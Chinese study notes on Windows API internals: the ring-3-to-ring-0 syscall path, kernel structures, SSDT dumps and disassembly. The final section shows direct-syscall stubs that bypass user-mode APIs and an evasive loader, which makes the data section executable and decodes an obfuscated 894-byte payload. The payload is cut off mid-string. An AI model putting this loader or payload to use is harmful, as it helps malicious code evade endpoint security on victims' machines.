二进制入门学习笔记-18.Windows API调用

1.Windows API简介

Windows API全称为Windows Application Programming Interface即Windows应用程序接口,在x86的操作系统中,Windows API存储在C:\Windows\System32目录的dll文件中。比较典型的Windows API DLL文件如下:

  • Kernel32.dll:核心功能模块,进行内存管理、进程线程相关操作等。
  • User32.dll:Windows用户界面相关应用程序接口,如创建窗口,发送消息等。
  • GDI32.dll:图形设备接口,包含用户画图和显示文本的函数接口。
  • NTdll.dll:大多数API都会调用这个dll来进入Ring0

2.Windows API调用过程3环工作

以ReadProcessMemory这个函数为例,分析Windows API的调用过程。首先使用IDA打开Kernel32.dll(此处位windowsXP的,Win7以上的不一样)文件。在左侧Function Window当中搜索ReadProcessMemory,如下图所示:

可以看到Kernel32.dll中这个ReadProcessMemory函数对参数压栈后又调用了__imp__NtReadVirtualMemory这个函数。ida中__imp__开头的函数是导入进来的。可以在导入表中查看这个函数的来源,如下图: 可以看到这个NtReadVirtualMemory函数是来自于ntdll.dll这个文件。使用ida打开ntdll查看NtReadVirtualMemory函数。 可以看到,这里提供了一个编号,和一个内核函数地址。这个编号和函数决定了如何进入0环。剩下的事情就是Ring0来进行了。

3.API从3环进入0环

3.1 _KUSER_SHARED_DATA 结构体简介

Windows操作系统中在用户层和内核层分别定义了一个_KUSER_SHARED_DATA结构体。这个结构体的作用就是在用户层和内核层进行数据共享。这个结构体在用户层和内核层采用不同的地址映射(二者映射在同一个物理页),映射地址如下:

  • 用户层:0x7ffe0000(只读)
  • 内核层:0xffdf0000(可读可写)

如下图所示,这两个地址的数据是完全一页的。

3.2 _KUSER_SHARED_DATA 结构体属性

_KUSER_SHARED_DATA结构体的结构如下:

kd> dt _KUSER_SHARED_DATA
ntdll!_KUSER_SHARED_DATA
   +0x000 TickCountLow     : Uint4B
   +0x004 TickCountMultiplier : Uint4B
   +0x008 InterruptTime    : _KSYSTEM_TIME
   +0x014 SystemTime       : _KSYSTEM_TIME
   +0x020 TimeZoneBias     : _KSYSTEM_TIME
   +0x02c ImageNumberLow   : Uint2B
   +0x02e ImageNumberHigh  : Uint2B
   +0x030 NtSystemRoot     : [260] Uint2B
   +0x238 MaxStackTraceDepth : Uint4B
   +0x23c CryptoExponent   : Uint4B
   +0x240 TimeZoneId       : Uint4B
   +0x244 Reserved2        : [8] Uint4B
   +0x264 NtProductType    : _NT_PRODUCT_TYPE
   +0x268 ProductTypeIsValid : UChar
   +0x26c NtMajorVersion   : Uint4B
   +0x270 NtMinorVersion   : Uint4B
   +0x274 ProcessorFeatures : [64] UChar
   +0x2b4 Reserved1        : Uint4B
   +0x2b8 Reserved3        : Uint4B
   +0x2bc TimeSlip         : Uint4B
   +0x2c0 AlternativeArchitecture : _ALTERNATIVE_ARCHITECTURE_TYPE
   +0x2c8 SystemExpirationDate : _LARGE_INTEGER
   +0x2d0 SuiteMask        : Uint4B
   +0x2d4 KdDebuggerEnabled : UChar
   +0x2d5 NXSupportPolicy  : UChar
   +0x2d8 ActiveConsoleId  : Uint4B
   +0x2dc DismountCount    : Uint4B
   +0x2e0 ComPlusPackage   : Uint4B
   +0x2e4 LastSystemRITEventTickCount : Uint4B
   +0x2e8 NumberOfPhysicalPages : Uint4B
   +0x2ec SafeBootMode     : UChar
   +0x2f0 TraceLogging     : Uint4B
   +0x2f8 TestRetInstruction : Uint8B
   +0x300 SystemCall       : Uint4B
   +0x304 SystemCallReturn : Uint4B
   +0x308 SystemCallPad    : [3] Uint8B
   +0x320 TickCount        : _KSYSTEM_TIME
   +0x320 TickCountQuad    : Uint8B
   +0x330 Cookie           : Uint4B

在这个结构体中的0x300的位置,有一个叫SystemCall的东西。回想前面ReadProcessMemory分析的过程中,调用了一个0x7ffe0300其实就是这个结构体中的SystemCall,这个SystemCall里存储了一个函数的地址,这个值决定了三环程序进入零环的方式。这个地址是在操作系统初开机的时候根据CPU是否支持sysenter指令填入的。并且这个地址所有进程共用,如果在0环把这个地址里的内容改了,那么所有进程的都会被修改。

3.3 SystemCall的选择

快速调用:通过中断门进0环需要的CS和EIP在IDT表里面,需要查内存(SS与ESP由TSS提供),而CPU如果支持sysenter指令时,操作系统会提前将CS/SS/ESP/EIP存储在MSR寄存器中,sysenter指令执行时,CPU会将MSR中的值直接写入相应的寄存器中,没有读内存的过程,所以叫做快速调用。

  • 当CPU支持sysenter指令时,SystemCall中填写的是ntdll里面KiFastSystemCall的地址
  • 当CPU不支持sysenter,SystemCall中填写的是ntdll里面KiIntSystemCall的地址,是通过中断门进入的0环,默认中断号为0x2E

3.3.1 如何判断CPU是否支持sysenter

将EAX设置为1,使用CPUID指令。返回结果会保存在ECX和EDX中。当EDX的第11位为1表示当前CPU支持sysenter,当EDX的第十一位为0表示不支持。 此处我XP系统的EDX为:0x0F8BFBFF。第十一位为1,所以CPU支持sysenter指令。_KUSER_SHARED_DATA结构体中的SystemCall填写的就是KiFastSystemCall的地址,如下图所示: 上图为KiIntSystemCall在ntdll中的位置 上图为KiFastSystemCall在ntdll中的位置 上图为SystemCall的值

4.API调用现场保护

API调用的时候从3环进入到0环,那么寄存器当中的信息就需要一定的方式进行保存。

4.1 Trap_Frame

无论是使用哪种方式进入0环,都会使用Trap_Frame来保存三环寄存器的信息。这个结构体处于0环。每一个线程都有一个TSS结构体,进0环的时候提供ESP0等信息,而提供的ESP0其实就是指向这个线程的Trap_Frame结构体的HardwareSegSs位置!Trap_Frame结构体的结构如下:

kd> dt _Ktrap_frame
ntdll!_KTRAP_FRAME
   +0x000 DbgEbp           : Uint4B
   +0x004 DbgEip           : Uint4B
   +0x008 DbgArgMark       : Uint4B
   +0x00c DbgArgPointer    : Uint4B
   +0x010 TempSegCs        : Uint4B
   +0x014 TempEsp          : Uint4B
   +0x018 Dr0              : Uint4B
   +0x01c Dr1              : Uint4B
   +0x020 Dr2              : Uint4B
   +0x024 Dr3              : Uint4B
   +0x028 Dr6              : Uint4B
   +0x02c Dr7              : Uint4B
   +0x030 SegGs            : Uint4B
   +0x034 SegEs            : Uint4B
   +0x038 SegDs            : Uint4B
   +0x03c Edx              : Uint4B
   +0x040 Ecx              : Uint4B
   +0x044 Eax              : Uint4B
   +0x048 PreviousPreviousMode : Uint4B
   +0x04c ExceptionList    : Ptr32 _EXCEPTION_REGISTRATION_RECORD
   +0x050 SegFs            : Uint4B
   +0x054 Edi              : Uint4B
   +0x058 Esi              : Uint4B
   +0x05c Ebx              : Uint4B
   +0x060 Ebp              : Uint4B
   +0x064 ErrCode          : Uint4B
   +0x068 Eip              : Uint4B
   +0x06c SegCs            : Uint4B
   +0x070 EFlags           : Uint4B
   +0x074 HardwareEsp      : Uint4B
   +0x078 HardwareSegSs    : Uint4B
   +0x07c V86Es            : Uint4B
   +0x080 V86Ds            : Uint4B
   +0x084 V86Fs            : Uint4B
   +0x088 V86Gs            : Uint4B

4.2 ETHREAD

ETHREAD结构体是0环中保存的线程相关结构体,每一个线程都会有这么一个结构体用来描述自己,结构体的结构如下:

kd> dt _ETHREAD
ntdll!_ETHREAD
   +0x000 Tcb              : _KTHREAD 
   +0x1c0 CreateTime       : _LARGE_INTEGER
   +0x1c0 NestedFaultCount : Pos 0, 2 Bits
   +0x1c0 ApcNeeded        : Pos 2, 1 Bit
   +0x1c8 ExitTime         : _LARGE_INTEGER
   +0x1c8 LpcReplyChain    : _LIST_ENTRY
   +0x1c8 KeyedWaitChain   : _LIST_ENTRY
   +0x1d0 ExitStatus       : Int4B
   +0x1d0 OfsChain         : Ptr32 Void
   +0x1d4 PostBlockList    : _LIST_ENTRY
   +0x1dc TerminationPort  : Ptr32 _TERMINATION_PORT
   +0x1dc ReaperLink       : Ptr32 _ETHREAD
   +0x1dc KeyedWaitValue   : Ptr32 Void
   +0x1e0 ActiveTimerListLock : Uint4B
   +0x1e4 ActiveTimerListHead : _LIST_ENTRY
   +0x1ec Cid              : _CLIENT_ID
   +0x1f4 LpcReplySemaphore : _KSEMAPHORE
   +0x1f4 KeyedWaitSemaphore : _KSEMAPHORE
   +0x208 LpcReplyMessage  : Ptr32 Void
   +0x208 LpcWaitingOnPort : Ptr32 Void
   +0x20c ImpersonationInfo : Ptr32 _PS_IMPERSONATION_INFORMATION
   +0x210 IrpList          : _LIST_ENTRY
   +0x218 TopLevelIrp      : Uint4B
   +0x21c DeviceToVerify   : Ptr32 _DEVICE_OBJECT
   +0x220 ThreadsProcess   : Ptr32 _EPROCESS
   +0x224 StartAddress     : Ptr32 Void
   +0x228 Win32StartAddress : Ptr32 Void
   +0x228 LpcReceivedMessageId : Uint4B
   +0x22c ThreadListEntry  : _LIST_ENTRY
   +0x234 RundownProtect   : _EX_RUNDOWN_REF
   +0x238 ThreadLock       : _EX_PUSH_LOCK
   +0x23c LpcReplyMessageId : Uint4B
   +0x240 ReadClusterSize  : Uint4B
   +0x244 GrantedAccess    : Uint4B
   +0x248 CrossThreadFlags : Uint4B
   +0x248 Terminated       : Pos 0, 1 Bit
   +0x248 DeadThread       : Pos 1, 1 Bit
   +0x248 HideFromDebugger : Pos 2, 1 Bit
   +0x248 ActiveImpersonationInfo : Pos 3, 1 Bit
   +0x248 SystemThread     : Pos 4, 1 Bit
   +0x248 HardErrorsAreDisabled : Pos 5, 1 Bit
   +0x248 BreakOnTermination : Pos 6, 1 Bit
   +0x248 SkipCreationMsg  : Pos 7, 1 Bit
   +0x248 SkipTerminationMsg : Pos 8, 1 Bit
   +0x24c SameThreadPassiveFlags : Uint4B
   +0x24c ActiveExWorker   : Pos 0, 1 Bit
   +0x24c ExWorkerCanWaitUser : Pos 1, 1 Bit
   +0x24c MemoryMaker      : Pos 2, 1 Bit
   +0x250 SameThreadApcFlags : Uint4B
   +0x250 LpcReceivedMsgIdValid : Pos 0, 1 Bit
   +0x250 LpcExitThreadCalled : Pos 1, 1 Bit
   +0x250 AddressSpaceOwner : Pos 2, 1 Bit
   +0x254 ForwardClusterOnly : UChar
   +0x255 DisablePageFaultClustering : UChar

其中的_KTHREAD是一个子结构体,当中存储了一些相对重要的信息。

4.3 KPCR

KPCR中文叫CPU控制区,每一个CPU都会有这么一个结构体用来描述当前CPU所处状态,有几个核就会有几个KPCR。我们可以使用如下指令查看当前CPU核数。

dd KeNumberProcessors

可以使用如下命令查看kpcr结构体存储的位置:

dd KiProcessorBlock

这个地址其实是_KPRCB的地址,减去120就是KPCR的地址:

kd> dt _kpcr ffdff000
nt!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x01c SelfPcr          : 0xffdff000 _KPCR
   +0x020 Prcb             : 0xffdff120 _KPRCB
   +0x024 Irql             : 0 ''
   +0x028 IRR              : 0
   +0x02c IrrActive        : 0
   +0x030 IDR              : 0xffffffff
   +0x034 KdVersionBlock   : 0x80546ab8 Void
   +0x038 IDT              : 0x8003f400 _KIDTENTRY
   +0x03c GDT              : 0x8003f000 _KGDTENTRY
   +0x040 TSS              : 0x80042000 _KTSS
   +0x044 MajorVersion     : 1
   +0x046 MinorVersion     : 1
   +0x048 SetMember        : 1
   +0x04c StallScaleFactor : 0xa28
   +0x050 DebugActive      : 0 ''
   +0x051 Number           : 0 ''
   +0x052 Spare0           : 0 ''
   +0x053 SecondLevelCacheAssociativity : 0 ''
   +0x054 VdmAlert         : 0
   +0x058 KernelReserved   : [14] 0
   +0x090 SecondLevelCacheSize : 0
   +0x094 HalReserved      : [16] 0
   +0x0d4 InterruptMode    : 0
   +0x0d8 Spare1           : 0 ''
   +0x0dc KernelReserved2  : [17] 0
   +0x120 PrcbData         : _KPRCB

5.系统服务表

5.1 系统服务表简介

操作系统中一共有两个系统服务表,每一个系统服务表(System Service Table)有如下四个成员:

  • ServiceTable:指向函数地址表的首地址
  • Count:当前系统服务表被调用了多少次
  • Service Limit:当前系统服务表中一共有多少个函数
  • Argument Table:指向函数参数个数表首地址,函数参数个数表是以字节为单位的

系统服务表结构图如下:

5.2 系统服务表寻址

线程结构体KTHREAD中,0xE0偏移的位置所存放的就是指向系统服务表的地址。

5.3系统服务表的选择

从三环调用零环的时候要传入一个系统服务号,这个系统服务号就决定了调用那个表。这个32位的号,其中0-11这12位决定了使用函数地址表中的哪个函数,标号为12的位决定了使用哪个函数和参数个数。这里注意,参数个数这里存的值是以字节为单位的,一个参数是四个字节,因此参数的个数应该是这里的值除以4。

6.SSDT

SSDT全称是System Services Descriptor Table,即系统服务描述符表。是由内核文件(10-10-12分页模式下就是ntoskrnl.exe)导出的一个全局变量提供的,可以在他的导出表中找到KeServiceDescriptorTable。SSDT当中的每一个成员都是一个系统服务表。查看SSDT表的方法如下:

kd> dd KeServiceDescriptorTable  //查看SSDT表,当中每一行都是一个系统服务表
80553fa0  80502b8c 00000000 0000011c 80503000
80553fb0  00000000 00000000 00000000 00000000
80553fc0  00000000 00000000 00000000 00000000
80553fd0  00000000 00000000 00000000 00000000
80553fe0  00002710 bf80c0b6 00000000 00000000
80553ff0  f9e3da80 f962bb60 81638a90 806e2f40
80554000  00000000 00000000 49658be8 00000092
80554010  5f1cbd28 01d5588e 00000000 00000000
kd> dd KeServiceDescriptorTableShadow //查看SSDT Shadow,这个表未导出。但是可以看到两个系统服务表
80553f60  80502b8c 00000000 0000011c 80503000
80553f70  bf999b80 00000000 0000029b bf99a890
80553f80  00000000 00000000 00000000 00000000
80553f90  00000000 00000000 00000000 00000000
80553fa0  80502b8c 00000000 0000011c 80503000
80553fb0  00000000 00000000 00000000 00000000
80553fc0  00000000 00000000 00000000 00000000
80553fd0  00000000 00000000 00000000 00000000
kd> dd 80502b8c + BA*4    //查看系统服务号为BA对应的函数地址
80502e74  805aa712 805c99e0 8060ea76 8060c43c
80502e84  8056f0d2 8063ab56 8061aca8 8061d332
80502e94  8059b804 8059c7cc 8059c1d4 8059baee
80502ea4  805bf456 80598d62 8059908e 805bf264
80502eb4  806064b6 8051ee82 8061cc3e 805cbd40
80502ec4  805cbc22 8061cd3a 8061ce20 8061cf48
80502ed4  8059a07c 8060db50 8060db50 805c892a
80502ee4  8063d80e 8060be28 80607fb8 8060882a
kd> u 805aa712 
nt!NtReadVirtualMemory:
805aa712 6a1c            push    1Ch
805aa714 68d8a44d80      push    offset nt!MmClaimParameterAdjustDownTime+0x90 (804da4d8)
805aa719 e8f2e7f8ff      call    nt!_SEH_prolog (80538f10)
805aa71e 64a124010000    mov     eax,dword ptr fs:[00000124h]
805aa724 8bf8            mov     edi,eax
805aa726 8a8740010000    mov     al,byte ptr [edi+140h]
805aa72c 8845e0          mov     byte ptr [ebp-20h],al
805aa72f 8b7514          mov     esi,dword ptr [ebp+14h]
kd> db 80503000+BA   //查看系统服务号为BA所对应函数的参数个数
805030ba  14 04 08 0c 14 08 08 0c-08 10 14 08 04 08 0c 04  ................
805030ca  08 0c 0c 04 08 08 0c 0c-24 08 08 08 0c 04 08 04  ........$.......
805030da  10 08 04 04 04 14 14 10-10 10 10 10 10 08 14 18  ................
805030ea  04 04 10 0c 08 14 0c 0c-08 08 1c 0c 04 18 14 04  ................
805030fa  10 04 04 04 08 18 08 08-08 00 10 10 04 04 08 14  ................
8050310a  10 08 08 10 14 0c 04 04-24 24 18 14 00 10 0c 10  ........$$......
8050311a  10 00 00 00 00 00 cc cc-cc cc cc cc cc cc 0f 57  ...............W
8050312a  c0 b8 40 00 00 00 0f 2b-41 00 0f 2b 41 10 0f 2b  ..@....+A..+A..+

SSDT当中的每一个成员都是一个系统服务表,以如下成员为例:

80502b8c 00000000 0000011c 80503000
  • 80502b8c:指向一个函数地址表,表中每个成员四个字节
  • 00000000:表示这个系统服务表被访问了多少次
  • 0000011c:表示函数地址表当中的函数有多少个
  • 80503000:指向函数参数个数表,表中每个成员一个字节。表示这个函数所接受参数一共多少个字节!例如0x14表示所有成员参数有20个字节,每个参数四个字节,那么这个函数就是有五个参数。

可以看到上面使用导出全局变量KeServiceDescriptorTable查看系统服务表只有一个表,而windows其实是用了两个表。一个是ntoskrnl.exe/ntkrnlpa.exe导出的还有一个是Win32k.sys导出的,这里我们使用这种方法能看到的只有第一个。

7.实验

7.0 系统调用从3环到0环过程分析

.text:00466481 _KiSystemService proc near              ; CODE XREF: ZwAcceptConnectPort(x,x,x,x,x,x)+Cp
.text:00466481                                         ; ZwAccessCheck(x,x,x,x,x,x,x,x)+Cp ...
.text:00466481
.text:00466481 arg_0           = dword ptr  4
.text:00466481
.text:00466481                 push    0
.text:00466483                 push    ebp             ; _Ktrap_frame.ebp
.text:00466484                 push    ebx             ; _Ktrap_frame.ebx
.text:00466485                 push    esi             ; _Ktrap_frame.esi
.text:00466486                 push    edi             ; _Ktrap_frame.edi
.text:00466487                 push    fs              ; 保存原有fs寄存器,fs寄存器在3环是TEB
.text:00466489                 mov     ebx, 30h
.text:0046648E                 mov     fs, bx          ; 切换新的fs寄存器,选择子为0x30,在0环fs.base指向KPCR
.text:00466491                 assume fs:nothing
.text:00466491                 push    dword ptr ds:0FFDFF000h ; 保存原有的KPCR结构体的第一个成员也就是KPCR.NT_TIB.ExceptionList
.text:00466497                 mov     dword ptr ds:0FFDFF000h, 0FFFFFFFFh ; 清空KPCR地址
.text:004664A1                 mov     esi, ds:0FFDFF124h ; 从_KPCR.PrcbData结构体中读取CurrentThread
.text:004664A7                 push    dword ptr [esi+140h] ; 保存先前模式,也就是调用这段代码的是3环还是0环
.text:004664AD                 sub     esp, 48h        ; esp直接跳到_Ktrap_frame结构体的顶部
.text:004664B0                 mov     ebx, [esp+68h+arg_0] ; ebx=esp+68+4=_Ktrap_frame.SegCs
.text:004664B4                 and     ebx, 1          ; 如果是三环的结果是1,如果是0环结果是0
.text:004664B7                 mov     [esi+140h], bl  ; _Kthread.PreviousMode
.text:004664BD                 mov     ebp, esp        ; ebp也指向_Ktrap_frame结构体
.text:004664BF                 mov     ebx, [esi+134h] ; ebx=KTHREAD.TrapFrame
.text:004664C5                 mov     [ebp+3Ch], ebx  ; 把旧的trap_frame放到新的trap_frame里存起来
.text:004664C8                 mov     [esi+134h], ebp ; 把新的trap_frame放到_KTHREAD中
.text:004664CE                 cld
.text:004664CF                 mov     ebx, [ebp+60h]  ; 三环ebp
.text:004664D2                 mov     edi, [ebp+68h]  ; 三环eip
.text:004664D5                 mov     [ebp+0Ch], edx  ; 三环进0环的时候用了两个寄存器,一个是服务号,一个是参数指针。edx是参数指针
.text:004664D8                 mov     dword ptr [ebp+8], 0BADB0D00h ; _KTRAP_FRAME.DbgArgMark
.text:004664DF                 mov     [ebp+0], ebx    ; _KTRAP_FRAME.DbgEbp保存三环ebp
.text:004664E2                 mov     [ebp+4], edi    ; _KTRAP_FRAME.DbgEip保存三环eip
.text:004664E5                 test    byte ptr [esi+2Ch], 0FFh ; _KTHREAD.DebugActive和0FFh做与运算,判断当前线程是否处于调试状态
.text:004664E9                 jnz     Dr_kss_a        ; 处于调试状态过去保存调试寄存器
.text:004664EF
.text:004664EF loc_4664EF:                             ; CODE XREF: Dr_kss_a+10j
.text:004664EF                                         ; Dr_kss_a+7Cj
.text:004664EF                 sti                     ; 允许中断发生
.text:004664F0                 jmp     loc_4665CD
.text:004664F0 _KiSystemService endp

7.1 绕过三环API直接进0环

7.1.1 手工查找syscall编号

绕过三环API直接调用0环程序其实最困难的就是要想办法分析出来三环进0环的时候那个函数的地址和参数!!!当然地址从一个api函数可以一路跟过去比较好找,这个参数就比较麻烦了。不过好在基本上有各路大神基本都分析了,我们这些菜鸡用别人的结果也能实现一些自己想要的功能。下面以CreateThread函数为例,首先我们使用如下代码进行简单调用:

#include <Windows.h>
#include<stdio.h>
DWORD WINAPI ThreadFunc(LPVOID lpParam)
{
    MessageBox(0, TEXT("测试对话框"), TEXT("你好"), 0);
    return 0;
}

int main() {
    HANDLE hThread;
    DWORD  threadId;
    hThread = CreateThread(NULL, 0, ThreadFunc, 0, 0, &threadId);
    Sleep(2000);
}

这里我们使用ProcessMonitor工具可以看到系统的调用流程如下图所示: 代码调用流程为:

kernel32.dll-CreateThread->KernelBase.dll-CreateRemoteThreadEx->ntdll.dll-ZwCreateThreadEx

绕过三环API即我们直接重写ntdll.dll的ZwCreateThreadEx函数,函数内容如下: 跟前面学的一样,要么快速调用,要么走中断门。我们直接选一条路的代码复制出来写一个如下的asm文件:

.code 

ZwCreateThreadExProc proc
        mov     r10, rcx
        mov     eax, 0BCh
        syscall
        ret
ZwCreateThreadExProc endp


end

c文件代码如下:

#include <Windows.h>
#include<stdio.h>

EXTERN_C NTSTATUS NTAPI ZwCreateThreadExProc(//声明函数
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    LPVOID ObjectAttributes,
    HANDLE ProcessHandle,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter,
    ULONG CreateThreadFlags,
    SIZE_T ZeroBits,
    SIZE_T StackSize,
    SIZE_T MaximumStackSize,
    LPVOID pUnkown);

typedef NTSTATUS(NTAPI *pZwCreateThreadExProc)(//定义函数指针
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    LPVOID ObjectAttributes,
    HANDLE ProcessHandle,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter,
    ULONG CreateThreadFlags,
    SIZE_T ZeroBits,
    SIZE_T StackSize,
    SIZE_T MaximumStackSize,
    LPVOID pUnkown
);

DWORD WINAPI ThreadFunc(LPVOID lpParam)
{
    MessageBox(0, TEXT("测试对话框"), TEXT("你好"), 0);
    return 0;
}

int main() {
    HANDLE hThread;
    DWORD  threadId;
    pZwCreateThreadExProc myZwCreateThreadExProc = &ZwCreateThreadExProc;
    HANDLE hRemoteThread = NULL;
    HANDLE hProcess = GetCurrentProcess();
    myZwCreateThreadExProc(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)ThreadFunc, NULL, 0, 0, 0, 0, NULL);
    //hThread = CreateThread(NULL, 0, ThreadFunc, 0, 0, &threadId);
    Sleep(2000);
}

编译的时候注意,修改如下选项的配置: 编译后运行,这时调用堆栈如下图所示: 这里可以看到,已经成功绕过了3环dll的使用,自己实现了3环的API。

7.1.2 动态查找系统调用号

由于syscall编号在不同的操作系统中可能不同,因此填写固定syscall编号直接进0环可能会在某些系统中无法使用。因此需要根据当前操作系统动态确定,本方法源自别人文章,《动态获取系统调用(syscall)号》

// ring3APIAutoReload.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <Windows.h>
#include <stdio.h>
#include <tchar.h>
#pragma comment(linker, "/section:.data,RWE")//.data段可执行
const char* base64char = "WXYZabcBACDLMNOPQEFGHIJKRSTUVfghidepqrstjklmnouvwxyz4567890123+/";
CHAR FuncExample[] = {
    0x4c,0x8b,0xd1,           //mov r10,rcx
    0xb8,0xb9,0x00,0x00,0x00, //mov eax,0B9h
    0x0f,0x05,                //syscall
    0xc3                      //ret
};
typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(//函数指针
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG AllocationType,
    ULONG Protect);


DWORD GetAndSetSysCall(TCHAR* szFuncName) {
    DWORD SysCallid = 0;
    HMODULE hModule = GetModuleHandle(_T("ntdll.dll"));
    DWORD64 FuncAddr = (DWORD64)GetProcAddress(hModule, (LPCSTR)szFuncName);
    LPVOID CallAddr = (LPVOID)(FuncAddr + 4);
    ReadProcessMemory(GetCurrentProcess(), CallAddr, &SysCallid, 4, NULL);
    memcpy(FuncExample + 4, (CHAR*)& SysCallid, 2);
    return SysCallid;
}
int base64_decode(char* base64, char* bindata)
{
    int i, j;
    unsigned char k;
    unsigned char temp[4];
    for (i = 0, j = 0; base64[i] != '\0'; i += 4)
    {
        memset(temp, 0xFF, sizeof(temp));
        for (k = 0; k < 64; k++)
        {
            if (base64char[k] == base64[i])
                temp[0] = k;
        }
        for (k = 0; k < 64; k++)
        {
            if (base64char[k] == base64[i + 1])
                temp[1] = k;
        }
        for (k = 0; k < 64; k++)
        {
            if (base64char[k] == base64[i + 2])
                temp[2] = k;
        }
        for (k = 0; k < 64; k++)
        {
            if (base64char[k] == base64[i + 3])
                temp[3] = k;
        }

        bindata[j++] = ((unsigned char)(((unsigned char)(temp[0] << 2)) & 0xFC)) |
            ((unsigned char)((unsigned char)(temp[1] >> 4) & 0x03));
        if (base64[i + 2] == '=')
            break;

        bindata[j++] = ((unsigned char)(((unsigned char)(temp[1] << 4)) & 0xF0)) |
            ((unsigned char)((unsigned char)(temp[2] >> 2) & 0x0F));
        if (base64[i + 3] == '=')
            break;

        bindata[j++] = ((unsigned char)(((unsigned char)(temp[2] << 6)) & 0xF0)) |
            ((unsigned char)(temp[3] & 0x3F));
    }
    return j;
}
int main()
{
    /* length: 894 bytes */
    char encodeedFile[] = "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